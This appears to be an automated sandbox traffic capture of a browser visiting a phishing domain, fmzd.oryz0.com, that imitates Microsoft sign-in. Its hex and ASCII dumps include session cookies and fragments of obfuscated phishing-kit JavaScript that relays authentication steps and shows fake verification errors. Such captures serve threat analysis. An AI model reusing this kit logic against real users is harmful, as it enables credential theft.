XSRF-TOKEN=eyJpdiI6InBYdkh4YXNzUVZKYkdvckZ3Vko3dUE9PSIsInZhbHVlIjoiZlByOHQ3Y3V3b2VjVUE5ZkorWXFRa2RSTEtOZWFJVnlyMFRaSEgxRmxUVTlxZFYrS21FNWEzZ0dzQWNvWFF6RmdFUWJvRTFlVXRld1B1UXBIbkNlWEJZMnlROUdDcFhJcW1SL0JkdC8wRGxVVVR4YUJDQnQrZ0lIMHFiL2E2NEciLCJtYWMiOiJhNWViNWE0ZGY3MzFlY2IzY2RkZTQ2Nzk3OTdmYWM1NmY3YzA1NGZjN2Q1ZTZmZjVlNjQ1NzcxZTVlOWU1YzJhIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImRFTGJKejZlRUdSUmtQeThyY3h4a1E9PSIsInZhbHVlIjoicEt1bGxBQ0hHVGdySGFoRXhlbS9Dekh2bTFoVEVMdkJrKzh3S0ZpK2p4Wlh1TjNvS1E2eVRTUjdUOTBZMjZHdUc4dW5IVnM5cmJjTUJNRTE4NUlHZDNjK1pxbGZSaFlocExIU0hYei9LV08zc1lWN2ZzNGJJMHptNnpwKzFrb2giLCJtYWMiOiJjNWMxNTIzMmIyYWY3MTk5N2ZlMDYxZWQxYTRkY2UyNTMxZWU1NzM4ODJmNWQxYmM3NWIwMDc1YzE3M2ZlNmI2IiwidGFnIjoiIn0%3D
2024-05-23 08:31:35 UTC	29	OUT	Data Raw: 70 61 67 65 6c 69 6e 6b 3d 6a 30 39 32 26 74 79 70 65 3d 34 26 61 70 70 6e 75 6d 3d 31 Data Ascii: pagelink=j092&type=4&appnum=1
2024-05-23 08:31:36 UTC	995	IN	HTTP/1.1 200 OK Date: Thu, 23 May 2024 08:31:36 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=BEbuAD1Of0OXbJjqQMYziuetsB9BG1kkGQcWAgq7SwUOFkzdFZ04cUKJTeuxshZI2%2BUEjMYDfwz6khusf1gR9%2FfsZfKo1eEMRYMFsJ7iwsNDTFvBuhAkQTlytzQz5Q%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Set-Cookie: XSRF-TOKEN=eyJpdiI6IlI0eVdROStza0twa3h3SnlaZWhoZ1E9PSIsInZhbHVlIjoiVWg3bHBKQUc5UXRHVUJ4bEJnMVFmY0dkcHA2NVBwVW5aRlp0d0pDUkpQWmpKMlBDWVNVNWhhckZKQ2VlcUlzclhHTnFXVkpYa1RSdFcxZmJ1UlhuS2tqUkE2WnFRUEEwUUh3SHhMZmZROHNFc0lsVjM0Qm9IMFRLcEFyRHJBQzAiLCJtYWMiOiJiZmJkOGE2N2M3MDM5YjNjM2ZkMmUwZTA5OWJjNmE4NjgwOGE0YjQ5YzEyMjAyODNiZjhjNTlkNGVkMGM1MTkzIiwidGFnIjoiIn0%3D; expires=Thu, 23-May-2024 10:31:35 GMT; Max-Age=7200; path=/; secure; samesite=none
2024-05-23 08:31:36 UTC	518	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6b 67 7a 4e 6d 70 55 59 55 78 33 52 79 74 78 54 31 64 54 53 32 70 58 4d 6c 51 79 64 6b 45 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 4c 32 35 6f 53 32 52 44 65 45 52 4d 56 6b 4a 75 59 32 52 6a 59 30 56 53 55 30 46 70 4d 54 5a 71 63 53 39 4d 64 45 74 59 5a 46 5a 34 52 45 30 76 4e 56 52 34 5a 6b 4a 57 54 48 52 71 54 32 6c 79 56 53 74 31 53 57 31 6e 61 33 59 78 4d 6b 46 59 55 47 74 4d 53 6b 34 35 62 6e 68 53 59 54 56 53 63 33 5a 53 51 6e 4a 35 64 45 64 6c 51 6b 39 4e 53 56 6c 31 55 47 68 56 65 44 56 6f 61 58 6b 77 52 6b 35 43 52 32 35 34 5a 31 64 42 4f 44 64 79 52 31 6c 72 56 45 77 78 59 6b 46 6b 65 54 56 50 65 6d 68 4e 4c 31 5a 36 4d 32 38 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6IkgzNmpUYUx3RytxT1dTS2pXMlQydkE9PSIsInZhbHVlIjoiL25oS2RDeERMVkJuY2RjY0VSU0FpMTZqcS9MdEtYZFZ4RE0vNVR4ZkJWTHRqT2lyVSt1SW1na3YxMkFYUGtMSk45bnhSYTVSc3ZSQnJ5dEdlQk9NSVl1UGhVeDVoaXkwRk5CR254Z1dBODdyR1lrVEwxYkFkeTVPemhNL1Z6M28
2024-05-23 08:31:36 UTC	97	IN	Data Raw: 35 62 0d 0a 7b 22 65 78 70 69 72 65 64 22 3a 30 2c 22 72 65 64 69 72 65 63 74 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 6c 6f 67 69 6e 2e 6d 69 63 72 6f 73 6f 66 74 6f 6e 6c 69 6e 65 2e 63 6f 6d 5c 2f 63 6f 6d 6d 6f 6e 5c 2f 53 41 53 5c 2f 50 72 6f 63 65 73 73 41 75 74 68 22 7d 0d 0a Data Ascii: 5b{"expired":0,"redirecturl":"https:\/\/login.microsoftonline.com\/common\/SAS\/ProcessAuth"}
2024-05-23 08:31:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.4	49795	172.67.195.241	443	4548	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 08:31:35 UTC	1135	OUT	GET /klgF5dnNHAlDrc6qSyelLuefIYXo4YwvCKst4HwTl55Gv89VSB1BFMlexg5FVpicEMLp0yz230 HTTP/1.1 Host: fmzd.oryz0.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6InBYdkh4YXNzUVZKYkdvckZ3Vko3dUE9PSIsInZhbHVlIjoiZlByOHQ3Y3V3b2VjVUE5ZkorWXFRa2RSTEtOZWFJVnlyMFRaSEgxRmxUVTlxZFYrS21FNWEzZ0dzQWNvWFF6RmdFUWJvRTFlVXRld1B1UXBIbkNlWEJZMnlROUdDcFhJcW1SL0JkdC8wRGxVVVR4YUJDQnQrZ0lIMHFiL2E2NEciLCJtYWMiOiJhNWViNWE0ZGY3MzFlY2IzY2RkZTQ2Nzk3OTdmYWM1NmY3YzA1NGZjN2Q1ZTZmZjVlNjQ1NzcxZTVlOWU1YzJhIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImRFTGJKejZlRUdSUmtQeThyY3h4a1E9PSIsInZhbHVlIjoicEt1bGxBQ0hHVGdySGFoRXhlbS9Dekh2bTFoVEVMdkJrKzh3S0ZpK2p4Wlh1TjNvS1E2eVRTUjdUOTBZMjZHdUc4dW5IVnM5cmJjTUJNRTE4NUlHZDNjK1pxbGZSaFlocExIU0hYei9LV08zc1lWN2ZzNGJJMHptNnpwKzFrb2giLCJtYWMiOiJjNWMxNTIzMmIyYWY3MTk5N2ZlMDYxZWQxYTRkY2UyNTMxZWU1NzM4ODJmNWQxYmM3NWIwMDc1YzE3M2ZlNmI2IiwidGFnIjoiIn0%3D
2024-05-23 08:31:36 UTC	671	IN	HTTP/1.1 200 OK Date: Thu, 23 May 2024 08:31:36 GMT Content-Type: image/png Content-Length: 1400 Connection: close Content-Disposition: inline; filename="klgF5dnNHAlDrc6qSyelLuefIYXo4YwvCKst4HwTl55Gv89VSB1BFMlexg5FVpicEMLp0yz230" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TkE7pyLVlwWKdGwtZmx9VEGl4l4xZHifn%2BDEBTO%2FPJYtnSzCluAoha%2FHHr1G8TR6mlq6GvFlU6TRwcLty0%2FYoXSH9Hwt0T1cFbb7rO6qyAOhPeZtpERm5unV5K%2F2Ew%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8883b0c9ddb84319-EWR
2024-05-23 08:31:36 UTC	698	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 6c 00 00 00 18 08 06 00 00 00 1f d5 18 1a 00 00 05 3f 49 44 41 54 68 43 ed 58 bd 6e 13 41 10 be 4b d2 d0 20 87 b4 48 38 bc 00 c9 13 10 37 50 c6 ee 91 70 9e 00 e7 af 26 ae f3 83 f3 04 18 89 3e 97 92 34 98 27 c0 79 81 60 24 5a c0 d0 d0 24 31 df b7 9a 39 8d 97 3b bc 91 0c 77 91 7c d2 c9 f6 7a 76 76 76 be f9 8f 7f d6 1f 8e a2 b0 e7 db dd e4 62 e9 e5 59 f4 15 e4 f7 42 b6 b4 9f 44 71 08 dd 8c 26 5c 03 f1 0c b0 70 65 95 81 72 06 58 19 50 b8 81 0c 33 c0 6e a0 ac 7f 4d da 6a b5 aa f3 f3 f3 2b a3 d1 a8 72 7d 7d 9d 74 3a 9d a1 7f 66 61 80 6d 6d 6d 35 55 18 08 d9 df df df ef e7 29 64 77 77 77 e5 ea ea 6a 85 ff c7 71 3c 3c 3c 3c 4c f8 7d 67 67 67 0d 1f eb 97 97 97 ed ac cb fd 6b 05 4f 93 3f f4 d1 c2 dd 5e 82 67 Data Ascii: PNGIHDRl?IDAThCXnAK H87Pp&>4'y`$Z$19;w\|zvvvbYBDq&\perXP3nMj+r}}t:fammm5U)dwwwjq<<<<L}gggkO?^g
2024-05-23 08:31:36 UTC	702	IN	Data Raw: 31 43 e6 07 18 cc 0f 49 f4 b4 74 ca e1 ef 65 7e 71 8a 26 e8 36 af 32 42 e0 7d c3 2a 56 ce 70 f2 9b 42 c9 f2 22 0d ef ca 27 c1 9e 4d 18 01 73 f0 73 91 99 b2 fa 1e 56 25 2d d6 3f 38 79 43 14 3f 6d 1a 1f b0 85 85 05 7a 09 15 9d 26 5d 5c 98 56 4e eb 73 1e 85 d0 f2 6a 12 60 c6 ea 19 02 6b 59 ad 82 05 0c fc 36 34 d4 59 10 ec ba 28 5f 65 61 5b e1 72 8c c8 1b 31 42 f8 e7 18 d9 1d bd 17 35 18 02 e9 c5 69 a1 75 a3 1c 16 bd fd 1e e6 61 51 f4 2b 7a b6 78 7f f4 2e fa 82 b3 82 3c 2c 7e 1a e6 61 cc 1d 10 7a 2c bc 49 85 54 87 62 da 50 ea 5e 08 60 ba 07 f2 8d 79 aa 35 38 0b 18 2c 7c 51 fb b7 bc 75 dd ab 2d 84 86 5f 95 97 ff fb 6d 85 31 1c e7 91 f6 7c 6b ac 6a 18 37 05 2c 78 f8 0b c0 96 00 58 f0 f0 17 80 65 7a b0 ef 61 04 8c 8d b4 58 de 00 8a 5c 45 98 24 80 15 2d f7 03 01 Data Ascii: 1CIte~q&62B}*VpB"'MssV%-?8yC?mz&]\VNsj`kY64Y(_ea[r1B5iuaQ+zx.<,~az,ITbP^`y58,\|Qu-_m1\|kj7,xXezaX\E$-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.4	49796	104.21.52.56	443	4548	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 08:31:35 UTC	1392	OUT	GET /56U8OCnuR5DmPArMrtJ18ijqNNqUgDps4geJeU89106 HTTP/1.1 Host: fmzd.oryz0.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://fmzd.oryz0.com/9921882535976616575172665JGHCTZWMGWUIDZD?VFTGJUDGCPOGHXCCHYOOJK6107405097496668290428471YSPWWGTZJEAPZZXMJKZGITAHV Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6InBYdkh4YXNzUVZKYkdvckZ3Vko3dUE9PSIsInZhbHVlIjoiZlByOHQ3Y3V3b2VjVUE5ZkorWXFRa2RSTEtOZWFJVnlyMFRaSEgxRmxUVTlxZFYrS21FNWEzZ0dzQWNvWFF6RmdFUWJvRTFlVXRld1B1UXBIbkNlWEJZMnlROUdDcFhJcW1SL0JkdC8wRGxVVVR4YUJDQnQrZ0lIMHFiL2E2NEciLCJtYWMiOiJhNWViNWE0ZGY3MzFlY2IzY2RkZTQ2Nzk3OTdmYWM1NmY3YzA1NGZjN2Q1ZTZmZjVlNjQ1NzcxZTVlOWU1YzJhIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImRFTGJKejZlRUdSUmtQeThyY3h4a1E9PSIsInZhbHVlIjoicEt1bGxBQ0hHVGdySGFoRXhlbS9Dekh2bTFoVEVMdkJrKzh3S0ZpK2p4Wlh1TjNvS1E2eVRTUjdUOTBZMjZHdUc4dW5IVnM5cmJjTUJNRTE4NUlHZDNjK1pxbGZSaFlocExIU0hYei9LV08zc1lWN2ZzNGJJMHptNnpwKzFrb2giLCJtYWMiOiJjNWMxNTIzMmIyYWY3MTk5N2ZlMDYxZWQxYTRkY2UyNTMxZWU1NzM4ODJmNWQxYmM3NWIwMDc1YzE3M2ZlNmI2IiwidGFnIjoiIn0%3D
2024-05-23 08:31:36 UTC	661	IN	HTTP/1.1 200 OK Date: Thu, 23 May 2024 08:31:36 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: close Content-Disposition: inline; filename="56U8OCnuR5DmPArMrtJ18ijqNNqUgDps4geJeU89106" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Do7h4jY8aQ5i1%2FZiO%2FRwdB3tRJeF0QpruNc%2F4HshZb0ei0E3T7xlYkbw16aAO9doQsQh%2BJF%2FO93RJkji97tueJ2%2BEsJTCNhdG8L49JtiWOLgx0DKjsIdsmC1qQZ5cw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8883b0c9ea34437e-EWR
2024-05-23 08:31:36 UTC	708	IN	Data Raw: 33 37 39 65 0d 0a 63 6f 6e 73 74 20 5f 30 78 31 34 36 31 36 32 3d 5f 30 78 34 38 37 63 3b 28 66 75 6e 63 74 69 6f 6e 28 5f 30 78 34 64 62 36 39 30 2c 5f 30 78 62 66 33 33 35 66 29 7b 63 6f 6e 73 74 20 5f 30 78 33 32 33 31 36 65 3d 5f 30 78 34 38 37 63 2c 5f 30 78 33 31 37 66 32 61 3d 5f 30 78 34 64 62 36 39 30 28 29 3b 77 68 69 6c 65 28 21 21 5b 5d 29 7b 74 72 79 7b 63 6f 6e 73 74 20 5f 30 78 33 39 32 31 32 66 3d 70 61 72 73 65 49 6e 74 28 5f 30 78 33 32 33 31 36 65 28 30 78 31 34 65 29 29 2f 30 78 31 2a 28 2d 70 61 72 73 65 49 6e 74 28 5f 30 78 33 32 33 31 36 65 28 30 78 31 66 30 29 29 2f 30 78 32 29 2b 70 61 72 73 65 49 6e 74 28 5f 30 78 33 32 33 31 36 65 28 30 78 61 35 29 29 2f 30 78 33 2b 2d 70 61 72 73 65 49 6e 74 28 5f 30 78 33 32 33 31 36 65 28 30 Data Ascii: 379econst _0x146162=_0x487c;(function(_0x4db690,_0xbf335f){const _0x32316e=_0x487c,_0x317f2a=_0x4db690();while(!![]){try{const _0x39212f=parseInt(_0x32316e(0x14e))/0x1*(-parseInt(_0x32316e(0x1f0))/0x2)+parseInt(_0x32316e(0xa5))/0x3+-parseInt(_0x32316e(0
2024-05-23 08:31:36 UTC	1369	IN	Data Raw: 5f 30 78 31 34 36 31 36 32 28 30 78 31 39 65 29 5d 28 5f 30 78 31 34 36 31 36 32 28 30 78 31 32 37 29 29 26 26 28 76 69 65 77 3d 5f 30 78 31 34 36 31 36 32 28 30 78 62 39 29 29 3b 64 6f 63 75 6d 65 6e 74 5b 27 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 27 5d 28 5f 30 78 31 34 36 31 36 32 28 30 78 32 30 38 29 29 26 26 21 64 6f 63 75 6d 65 6e 74 5b 5f 30 78 31 34 36 31 36 32 28 30 78 62 62 29 5d 28 5f 30 78 31 34 36 31 36 32 28 30 78 32 30 38 29 29 5b 5f 30 78 31 34 36 31 36 32 28 30 78 62 32 29 5d 5b 5f 30 78 31 34 36 31 36 32 28 30 78 31 39 65 29 5d 28 5f 30 78 31 34 36 31 36 32 28 30 78 31 32 37 29 29 26 26 28 76 69 65 77 3d 5f 30 78 31 34 36 31 36 32 28 30 78 63 32 29 29 3b 64 6f 63 75 6d 65 6e 74 5b 5f 30 78 31 34 36 31 36 32 28 30 78 31 32 65 29 5d 28 Data Ascii: _0x146162(0x19e)](_0x146162(0x127))&&(view=_0x146162(0xb9));document['getElementById'](_0x146162(0x208))&&!document[_0x146162(0xbb)](_0x146162(0x208))[_0x146162(0xb2)][_0x146162(0x19e)](_0x146162(0x127))&&(view=_0x146162(0xc2));document[_0x146162(0x12e)](
2024-05-23 08:31:36 UTC	1369	IN	Data Raw: 69 6e 67 61 6e 69 6d 61 74 69 6f 6e 28 5f 30 78 34 66 38 34 32 65 29 7b 63 6f 6e 73 74 20 5f 30 78 35 32 35 32 36 66 3d 5f 30 78 31 34 36 31 36 32 3b 5f 30 78 34 66 38 34 32 65 3d 3d 30 78 30 26 26 28 64 6f 63 75 6d 65 6e 74 5b 5f 30 78 35 32 35 32 36 66 28 30 78 62 62 29 5d 28 5f 30 78 35 32 35 32 36 66 28 30 78 31 35 62 29 2b 76 69 65 77 29 5b 27 71 75 65 72 79 53 65 6c 65 63 74 6f 72 27 5d 28 5f 30 78 35 32 35 32 36 66 28 30 78 31 64 65 29 29 5b 5f 30 78 35 32 35 32 36 66 28 30 78 62 32 29 5d 5b 5f 30 78 35 32 35 32 36 66 28 30 78 31 65 39 29 5d 28 5f 30 78 35 32 35 32 36 66 28 30 78 31 33 39 29 29 2c 64 6f 63 75 6d 65 6e 74 5b 27 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 27 5d 28 5f 30 78 35 32 35 32 36 66 28 30 78 31 35 62 29 2b 76 69 65 77 29 5b 5f Data Ascii: inganimation(_0x4f842e){const _0x52526f=_0x146162;_0x4f842e==0x0&&(document[_0x52526f(0xbb)](_0x52526f(0x15b)+view)['querySelector'](_0x52526f(0x1de))[_0x52526f(0xb2)][_0x52526f(0x1e9)](_0x52526f(0x139)),document['getElementById'](_0x52526f(0x15b)+view)[_
2024-05-23 08:31:36 UTC	1369	IN	Data Raw: 65 27 5d 5b 27 61 6e 69 6d 61 74 69 6f 6e 27 5d 3d 5f 30 78 31 62 36 31 63 30 28 30 78 31 66 34 29 2b 5f 30 78 33 34 35 34 35 38 2b 5f 30 78 31 62 36 31 63 30 28 30 78 31 64 32 29 29 3b 7d 66 75 6e 63 74 69 6f 6e 20 63 68 61 6e 67 65 62 61 63 6b 62 75 74 74 6f 6e 28 5f 30 78 32 64 35 36 63 34 2c 5f 30 78 32 35 65 64 37 66 29 7b 63 6f 6e 73 74 20 5f 30 78 33 35 38 33 35 63 3d 5f 30 78 31 34 36 31 36 32 3b 5f 30 78 32 35 65 64 37 66 3d 3d 30 78 30 26 26 28 64 6f 63 75 6d 65 6e 74 5b 5f 30 78 33 35 38 33 35 63 28 30 78 62 62 29 5d 28 5f 30 78 33 35 38 33 35 63 28 30 78 31 35 62 29 2b 5f 30 78 32 64 35 36 63 34 29 5b 5f 30 78 33 35 38 33 35 63 28 30 78 31 32 34 29 5d 28 27 2e 62 61 63 6b 27 29 5b 27 73 74 79 6c 65 27 5d 5b 27 64 69 73 70 6c 61 79 27 5d 3d 5f Data Ascii: e']['animation']=_0x1b61c0(0x1f4)+_0x345458+_0x1b61c0(0x1d2));}function changebackbutton(_0x2d56c4,_0x25ed7f){const _0x35835c=_0x146162;_0x25ed7f==0x0&&(document[_0x35835c(0xbb)](_0x35835c(0x15b)+_0x2d56c4)[_0x35835c(0x124)]('.back')['style']['display']=_
2024-05-23 08:31:36 UTC	1369	IN	Data Raw: 28 30 78 32 30 30 29 5d 28 5f 30 78 32 38 39 32 36 39 28 30 78 31 32 37 29 29 2c 64 6f 63 75 6d 65 6e 74 5b 5f 30 78 32 38 39 32 36 39 28 30 78 31 64 63 29 5d 5b 27 73 74 79 6c 65 27 5d 5b 5f 30 78 32 38 39 32 36 39 28 30 78 64 37 29 5d 26 26 28 64 6f 63 75 6d 65 6e 74 5b 27 62 6f 64 79 27 5d 5b 27 73 74 79 6c 65 27 5d 5b 5f 30 78 32 38 39 32 36 39 28 30 78 64 37 29 5d 3d 27 27 29 2c 64 6f 63 75 6d 65 6e 74 5b 5f 30 78 32 38 39 32 36 39 28 30 78 31 64 63 29 5d 5b 5f 30 78 32 38 39 32 36 39 28 30 78 65 65 29 5d 5b 27 62 61 63 6b 67 72 6f 75 6e 64 43 6f 6c 6f 72 27 5d 26 26 28 64 6f 63 75 6d 65 6e 74 5b 5f 30 78 32 38 39 32 36 39 28 30 78 31 64 63 29 5d 5b 5f 30 78 32 38 39 32 36 39 28 30 78 65 65 29 5d 5b 27 62 61 63 6b 67 72 6f 75 6e 64 43 6f 6c 6f 72 27 Data Ascii: (0x200)](_0x289269(0x127)),document[_0x289269(0x1dc)]['style'][_0x289269(0xd7)]&&(document['body']['style'][_0x289269(0xd7)]=''),document[_0x289269(0x1dc)][_0x289269(0xee)]['backgroundColor']&&(document[_0x289269(0x1dc)][_0x289269(0xee)]['backgroundColor'
2024-05-23 08:31:36 UTC	1369	IN	Data Raw: 3d 27 65 72 72 6f 72 27 29 7b 64 6f 63 75 6d 65 6e 74 5b 27 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 27 5d 28 5f 30 78 65 31 36 64 31 30 28 30 78 31 31 33 29 29 5b 5f 30 78 65 31 36 64 31 30 28 30 78 31 32 34 29 5d 28 27 2e 74 69 74 6c 65 27 29 5b 27 74 65 78 74 43 6f 6e 74 65 6e 74 27 5d 3d 5f 30 78 33 62 34 65 35 63 5b 5f 30 78 65 31 36 64 31 30 28 30 78 31 65 66 29 5d 3b 76 61 72 20 5f 30 78 34 33 66 66 32 64 3d 5f 30 78 33 62 34 65 35 63 5b 5f 30 78 65 31 36 64 31 30 28 30 78 31 65 36 29 5d 3b 64 6f 63 75 6d 65 6e 74 5b 27 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 27 5d 28 5f 30 78 65 31 36 64 31 30 28 30 78 64 62 29 29 5b 5f 30 78 65 31 36 64 31 30 28 30 78 31 30 30 29 5d 3d 27 3c 73 70 61 6e 3e 27 2b 5f 30 78 34 33 66 66 32 64 5b 5f 30 78 65 31 36 Data Ascii: ='error'){document['getElementById'](_0xe16d10(0x113))[_0xe16d10(0x124)]('.title')['textContent']=_0x3b4e5c[_0xe16d10(0x1ef)];var _0x43ff2d=_0x3b4e5c[_0xe16d10(0x1e6)];document['getElementById'](_0xe16d10(0xdb))[_0xe16d10(0x100)]='<span>'+_0x43ff2d[_0xe16
2024-05-23 08:31:36 UTC	1369	IN	Data Raw: 37 29 2c 73 65 6e 64 41 6e 64 52 65 63 65 69 76 65 28 27 77 61 69 74 61 75 74 68 27 2c 5b 5f 30 78 32 38 39 32 36 39 28 30 78 31 39 30 29 5d 2c 30 78 31 29 5b 5f 30 78 32 38 39 32 36 39 28 30 78 64 34 29 5d 28 5f 30 78 31 37 30 39 37 37 3d 3e 7b 63 6f 6e 73 74 20 5f 30 78 64 39 35 61 62 30 3d 5f 30 78 32 38 39 32 36 39 3b 5f 30 78 31 37 30 39 37 37 26 26 28 5f 30 78 31 37 30 39 37 37 5b 5f 30 78 64 39 35 61 62 30 28 30 78 31 30 35 29 5d 3d 3d 27 6d 6f 72 65 5c 78 32 30 69 6e 66 6f 5c 78 32 30 72 65 71 75 69 72 65 64 27 26 26 6d 6f 72 65 69 6e 66 6f 72 65 71 28 29 2c 5f 30 78 31 37 30 39 37 37 5b 5f 30 78 64 39 35 61 62 30 28 30 78 31 30 35 29 5d 3d 3d 5f 30 78 64 39 35 61 62 30 28 30 78 31 32 64 29 26 26 28 64 6f 63 75 6d 65 6e 74 5b 5f 30 78 64 39 35 61 Data Ascii: 7),sendAndReceive('waitauth',[_0x289269(0x190)],0x1)[_0x289269(0xd4)](_0x170977=>{const _0xd95ab0=_0x289269;_0x170977&&(_0x170977[_0xd95ab0(0x105)]=='more\x20info\x20required'&&moreinforeq(),_0x170977[_0xd95ab0(0x105)]==_0xd95ab0(0x12d)&&(document[_0xd95a
2024-05-23 08:31:36 UTC	1369	IN	Data Raw: 30 29 2c 5b 5f 30 78 31 37 63 36 39 35 5b 5f 30 78 34 66 66 34 66 38 28 30 78 31 66 61 29 5d 28 5f 30 78 34 66 66 34 66 38 28 30 78 31 61 38 29 29 5d 2c 30 78 31 29 5b 5f 30 78 34 66 66 34 66 38 28 30 78 64 34 29 5d 28 5f 30 78 31 66 38 66 32 63 3d 3e 7b 63 6f 6e 73 74 20 5f 30 78 31 33 61 65 31 65 3d 5f 30 78 34 66 66 34 66 38 3b 69 66 28 5f 30 78 31 66 38 66 32 63 29 7b 6c 6f 61 64 69 6e 67 61 6e 69 6d 61 74 69 6f 6e 28 30 78 31 29 3b 5f 30 78 31 66 38 66 32 63 5b 5f 30 78 31 33 61 65 31 65 28 30 78 31 30 35 29 5d 3d 3d 5f 30 78 31 33 61 65 31 65 28 30 78 62 31 29 26 26 28 64 6f 63 75 6d 65 6e 74 5b 5f 30 78 31 33 61 65 31 65 28 30 78 62 62 29 5d 28 5f 30 78 31 33 61 65 31 65 28 30 78 31 30 65 29 29 5b 5f 30 78 31 33 61 65 31 65 28 30 78 32 30 62 29 5d Data Ascii: 0),[_0x17c695[_0x4ff4f8(0x1fa)](_0x4ff4f8(0x1a8))],0x1)[_0x4ff4f8(0xd4)](_0x1f8f2c=>{const _0x13ae1e=_0x4ff4f8;if(_0x1f8f2c){loadinganimation(0x1);_0x1f8f2c[_0x13ae1e(0x105)]==_0x13ae1e(0xb1)&&(document[_0x13ae1e(0xbb)](_0x13ae1e(0x10e))[_0x13ae1e(0x20b)]
2024-05-23 08:31:36 UTC	1369	IN	Data Raw: 5f 30 78 31 33 61 65 31 65 28 30 78 61 64 29 29 2c 64 6f 63 75 6d 65 6e 74 5b 5f 30 78 31 33 61 65 31 65 28 30 78 62 62 29 5d 28 5f 30 78 31 33 61 65 31 65 28 30 78 64 62 29 29 5b 5f 30 78 31 33 61 65 31 65 28 30 78 31 30 30 29 5d 3d 27 3c 73 70 61 6e 3e 53 6f 72 72 79 2c 5c 78 32 30 77 65 5c 78 32 37 72 65 5c 78 32 30 68 61 76 69 6e 67 5c 78 32 30 74 72 6f 75 62 6c 65 5c 78 32 30 76 65 72 69 66 79 69 6e 67 5c 78 32 30 79 6f 75 72 5c 78 32 30 61 63 63 6f 75 6e 74 2e 5c 78 32 30 50 6c 65 61 73 65 5c 78 32 30 74 72 79 5c 78 32 30 61 67 61 69 6e 2e 3c 2f 73 70 61 6e 3e 3c 61 5c 78 32 30 69 64 3d 5c 78 32 32 56 69 65 77 44 65 74 61 69 6c 73 5c 78 32 32 5c 78 32 30 63 6c 61 73 73 3d 5c 78 32 32 6e 6f 2d 77 72 61 70 5c 78 32 32 5c 78 32 30 68 72 65 66 3d 5c 78 Data Ascii: _0x13ae1e(0xad)),document[_0x13ae1e(0xbb)](_0x13ae1e(0xdb))[_0x13ae1e(0x100)]='<span>Sorry,\x20we\x27re\x20having\x20trouble\x20verifying\x20your\x20account.\x20Please\x20try\x20again.</span><a\x20id=\x22ViewDetails\x22\x20class=\x22no-wrap\x22\x20href=\x
2024-05-23 08:31:36 UTC	1369	IN	Data Raw: 31 65 28 30 78 62 32 29 5d 5b 27 74 6f 67 67 6c 65 27 5d 28 5f 30 78 31 33 61 65 31 65 28 30 78 31 32 37 29 29 2c 64 6f 63 75 6d 65 6e 74 5b 5f 30 78 31 33 61 65 31 65 28 30 78 62 62 29 5d 28 5f 30 78 31 33 61 65 31 65 28 30 78 31 34 39 29 29 5b 5f 30 78 31 33 61 65 31 65 28 30 78 62 32 29 5d 5b 5f 30 78 31 33 61 65 31 65 28 30 78 32 30 30 29 5d 28 5f 30 78 31 33 61 65 31 65 28 30 78 31 32 37 29 29 2c 76 69 65 77 3d 5f 30 78 31 33 61 65 31 65 28 30 78 31 64 38 29 2c 73 65 6e 64 41 6e 64 52 65 63 65 69 76 65 28 5f 30 78 31 33 61 65 31 65 28 30 78 61 32 29 2c 5b 5f 30 78 31 33 61 65 31 65 28 30 78 39 65 29 5d 2c 30 78 31 29 5b 27 74 68 65 6e 27 5d 28 5f 30 78 35 62 38 39 64 38 3d 3e 7b 63 6f 6e 73 74 20 5f 30 78 35 37 63 61 66 32 